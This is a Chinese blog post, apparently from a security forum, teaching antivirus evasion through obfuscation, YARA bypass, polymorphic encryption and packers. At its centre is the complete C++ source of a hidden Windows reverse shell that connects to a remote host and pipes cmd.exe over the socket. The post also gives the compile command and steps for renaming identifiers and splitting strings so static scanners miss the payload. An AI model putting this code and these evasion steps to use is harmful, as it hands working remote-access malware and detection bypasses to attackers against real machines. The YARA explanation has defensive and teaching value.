免杀初探(二)

分享者才是学习中最大的受益者

前言

这是系列文章的第二篇

主要讲三点:

使用模糊处理进行绕过防病毒旁路

使用加密进行绕过防病毒旁路

使用压缩壳进行绕过防病毒旁路

绕过静态扫描

混淆

前言

模糊技术来保护代码并使其不可读

主要技术

重命名混淆 

控制流混淆

重命名混淆

主要针对代码中的变量名

python在线混淆:https://pyob.oxyry.com/

控制流混淆

控制流混淆将原始源代码转化为复杂的、不可读的和不明确的代码

image-20210819184233904

YARA

前言

YARA是一个开放源码的跨平台工具,主要用于帮助恶意软件研究人员识别和分 类恶意软件样本。它提供了一种基于规则的方法,用于创建基于文本和二进制模 式的恶意软件类型描述。今

原理

YARA是一个基于规则的模式匹配工具,如果我们编写正确,它可以检测潜在的恶意软件

防病毒软件经常在其静态引擎中加入YARA, 特别是用于基于文件的检测

简要分析YARA规则

rule ExampleRule_02202020
{
    meta:
        description = "Ransomware hunter"
    strings:
        $a1 = {6A 40 68 00 30 00 00 6A 14 7D 92}
        $a2 = "ransomware" nocase
        $c = "Pay us a good amount of ransom" 
    condition:
        1 of $a* and $c
}
1.YARA规则以单词rule开头,然后是规则名称

(通常,规则名称是描述性的,并基于恶意软件类型和其他参数)

2.规则的正文前面和后面都有花括号(大括号)

3.YARA规则的括号部分包括两个重要的小节:字符串和条件

4.strings部分将包含在恶意文件中检测的模式、字符串、十六进制(十六进制)值和操作代码(操作码)

5.strings部分定义了三个变量,每个变量都提供了一个潜在的模式,以便在潜在的恶意文件中进行匹配和检测

6.$a2变量中使用了nocase,这样YARA将匹配不区分大小写的字符串模式

7.condition部分是一个逻辑部分,它定义了规则检测或匹配文件中的模式并交付真实结果的条件

绕过yara

原理

绕过那个静态扫描的,简单来说,就是不把恶意代码写入使用分离加载绕过

简要分析

根据预定义的Internet协议(IP)地址 和端口打开基于传输控制协议(TCP)的Netcat侦听器的反向shell

有三个函数

main():程序启动的地方

FreeConsole():它将调用进程与其控制台分离

ExecuteShell():执行反向shell

POC

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

void RunShell(char* C2Server, int C2Port) {
    while(true) {
        Sleep(5000);    // Five Second

        SOCKET mySocket;
        sockaddr_in addr;
        WSADATA version;
        WSAStartup(MAKEWORD(2,2), &version);
        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);  
        addr.sin_port = htons(C2Port);    

        if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
            closesocket(mySocket);
            WSACleanup();
            continue;
        }
        else {
            char RecvData[DEFAULT_BUFLEN];
            memset(RecvData, 0, sizeof(RecvData));
            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
            if (RecvCode <= 0) {
                closesocket(mySocket);
                WSACleanup();
                continue;
            }
            else {
                char Process[] = "cmd.exe";
                STARTUPINFO sinfo;
                PROCESS_INFORMATION pinfo;
                memset(&sinfo, 0, sizeof(sinfo));
                sinfo.cb = sizeof(sinfo);
                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
                WaitForSingleObject(pinfo.hProcess, INFINITE);
                CloseHandle(pinfo.hProcess);
                CloseHandle(pinfo.hThread);

                memset(RecvData, 0, sizeof(RecvData));
                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
                if (RecvCode <= 0) {
                    closesocket(mySocket);
                    WSACleanup();
                    continue;
                }
                if (strcmp(RecvData, "exit\n") == 0) {
                    exit(0);
                }
            }
        }
    }
}

int main(int argc, char **argv) {
    FreeConsole();
    if (argc == 3) {
        int port  = atoi(argv[2]); 
        RunShell(argv[1], port);
    }
    else {
        char host[] = "192.168.1.1";  
        int port = 443;               
        RunShell(host, port);
    }
    return 0;
}

编译

i686-w64-mingw32-g++ socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive

混淆

先看main()函数

接收两个参数:

IP地址(192.168. 1.1)和远程端口443

端口监听我们的IP地址

image-20210819191634276

思路

将函数从RunShell重命名为Run

将函数参数从C2Server和C2Port重命名为Server和Port

操作进程变量的“cmd.exe”字符串,将其分成两个不同的字符串P1和P2

然后使用标准的strcat()C函数将它们连接到P变量中,

然后作为第二个变量传递CreateProcess Windows应用程序编程接口的参数 (API)函数

加密

加密EXE和不加密EXE的区别

image-20210819192355966

Oligomorphic code原理

每次运行选择不同的key解密自己

image-20210819192504243

Polymorphic code原理

Polymorphic code大多使用通常具有两个角色的多态引擎

第 一个角色选择使用哪个解密器

第二个角色加载相关的源代码,以便加密的代码与所选的解密器匹配

image-20210819192816954

简单理解一下:

每次运行时,恶意软件都会调用多态引擎,并选择一个解密器来执行解密

基于这种选择,它加载相关的源代码,然后重新编译自己,从而设法避免被防病毒软件的静态引擎检测

即key-->source形式

Metamorphic code原理

目标每次运行时改变恶意软件的内容,从而导致自身变异的代码。

例如,这种变化可以使恶意软件增加完全无用的条件和变量,但对其功能没有影响,改变机器指令。

在不同的位置给自己添加无操作(NOP)指令,等等

image-20210819202434115

压缩壳

前言

进行压缩二进制文件(主要是EXE文件)中的代码的程序。

隐藏他们代码的意图,从而使恶意软件研究更加困难,尽可能的使代码绕过防病毒软件

压缩壳工作流程

1.获取一个EXE文件,并使用预定义的算法混淆和压缩代码部分随后

2.在文件中添加一个称为存根的区域,其目的是解压缩操作系统运行时内存中的软件或恶意软件,并将执行转移到原始入口点( OEP)。OEP是最初定义为开始的入口点在打包发生之前的程序执行

3.防病毒软件的主要目标是检测使用了哪种类型的打 包程序,使用适当的每个打包器使用其解包引擎的技术,然后将解包文件分类为“恶意”或“良性”

通常使用的工具有:UPX和ASPack

可以使用小工具PE-bear tool:https://github.com/hasherezade/bearparser

用来比较压缩和未压缩,正常数量的导入DLL和API函数

拆解壳

有些拆解壳技术就像覆盖内存区域或可执行文件中的特定节一样简单

它们中的许多使用各种自注入技术,通过将blobshellcode注入预定义或分配的内存区域,将执行转移到注入的代码,最后覆盖它们自己的进程.

总结

了解旁路技术,学习了重命名混淆和控制流混淆、YARA规则以及如何绕过它们

我们还学习了加密类型,Oligomorphic code、Polymorphic code、Metamorphic code

  • 发表于 2021-08-31 14:05:08
  • 阅读 ( 6194 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
略略略
略略略

36 篇文章

站长统计